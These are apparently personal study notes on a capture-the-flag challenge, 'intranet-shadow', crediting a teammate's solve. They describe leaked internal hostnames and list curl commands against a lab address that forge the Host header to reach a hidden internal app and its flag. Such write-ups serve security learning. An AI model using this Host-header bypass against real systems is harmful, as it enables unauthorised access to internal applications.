THE GARDEN

intranet-shadow

Updated 20 Sep 2026

• •

  Attribution

  • •

    Solved by Fauzi Ismail during the competition. These are rn’s study notes based on the teammate’s documented solve, not an independent rn solve.

• •

  What it asked

  • •

    Enumerate an internal web application and reach content exposed only through the intended virtual-host context.

• •

  Approach

  • •

    The public page source leaked intra.kamsiber.local and /chain. The chain page then leaked ops.kamsiber.local and /ops/backup.zip.

  • •

    Sending the Host header for the internal virtual host exposed a different application. Its response pointed to /audit, where the flag was returned.

  • •

    The bug is a trust-boundary mistake: the service treated a client-controlled Host header as proof that the request came through an internal route.

• •

  Solution

  • •

    base='http://10.0.100.6:8080'
    curl -s "$base/" | grep -E 'vhost|chain'
    curl -s "$base/chain" | grep -E 'vhost|backup'
    curl -s -H 'Host: intra.kamsiber.local' "$base/"
    curl -s -H 'Host: intra.kamsiber.local' "$base/audit"
    

• •

  Verification

  • •

    The team document records successful flag recovery. The local lab endpoint was not replayed during this refactor.

• •

  Concepts

  • •

    Virtual-host enumeration; Host header routing; information disclosure in HTML comments.

• •

  Source

  • •

    Source: team document KMIPNVIII-unintended.docx, titled “Writeup unintended KMIPN 8 Final”. Page numbers refer to the rendered document. Rendered pp. 4–7.

  • •

    Flag: KMIPN8{vhost_header_unlocks_hidden_app}.

◌ Explore connections in Graph view